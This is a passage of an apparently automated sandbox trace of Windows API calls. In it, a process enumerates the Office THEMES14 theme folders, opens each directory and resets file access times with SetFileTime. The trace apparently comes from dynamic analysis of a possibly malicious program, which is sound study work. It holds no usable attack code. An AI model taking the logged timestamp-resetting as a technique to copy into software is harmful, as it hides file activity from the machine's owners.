ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.807] GetLastError () returned 0x12 [0059.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fb8e8) returned 1 [0059.807] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fb9f0) returned 1 [0059.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.807] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0059.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0059.819] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fdbb0 [0059.819] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fdbb0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fdbb0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdbb0) returned 1 [0059.819] NtClose (Handle=0x16c) returned 0x0 [0059.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb9f0 [0059.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb8e8 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2eb0 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fbf18 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2ed0 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc020 [0059.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2ef0 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc128 [0059.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2f10 [0059.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc230 [0059.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.821] GetLastError () returned 0x12 [0059.821] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.821] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.822] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.822] GetLastError () returned 0x12 [0059.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fb9f0) returned 1 [0059.822] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fb8e8) returned 1 [0059.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.822] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0059.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0059.832] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fdbb0 [0059.832] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fdbb0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fdbb0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdbb0) returned 1 [0059.832] NtClose (Handle=0x160) returned 0x0 [0059.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.832] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.832] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.832] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2f30 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb8e8 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2f50 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb9f0 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2f70 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc338 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2f90 [0059.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc440 [0059.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.834] GetLastError () returned 0x12 [0059.834] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.834] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0059.834] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 